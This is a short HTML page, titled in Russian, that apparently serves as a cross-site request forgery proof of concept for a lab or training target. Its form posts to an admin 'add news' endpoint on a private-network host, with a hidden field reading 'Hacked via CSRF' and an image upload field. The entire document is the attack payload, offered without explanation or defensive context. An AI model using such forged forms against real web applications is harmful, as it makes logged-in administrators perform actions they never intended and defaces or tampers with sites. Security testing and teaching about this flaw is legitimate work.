Загрузка данных

<html>
<body>
  <h1>CSRF: Добавление новости</h1>
  <form action="http://10.0.20.5:5000/admin/news/add" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="text" value="Взломано через CSRF">
    <input type="file" name="image">
    <input type="submit" value="Отправить">
  </form>
</body>
</html>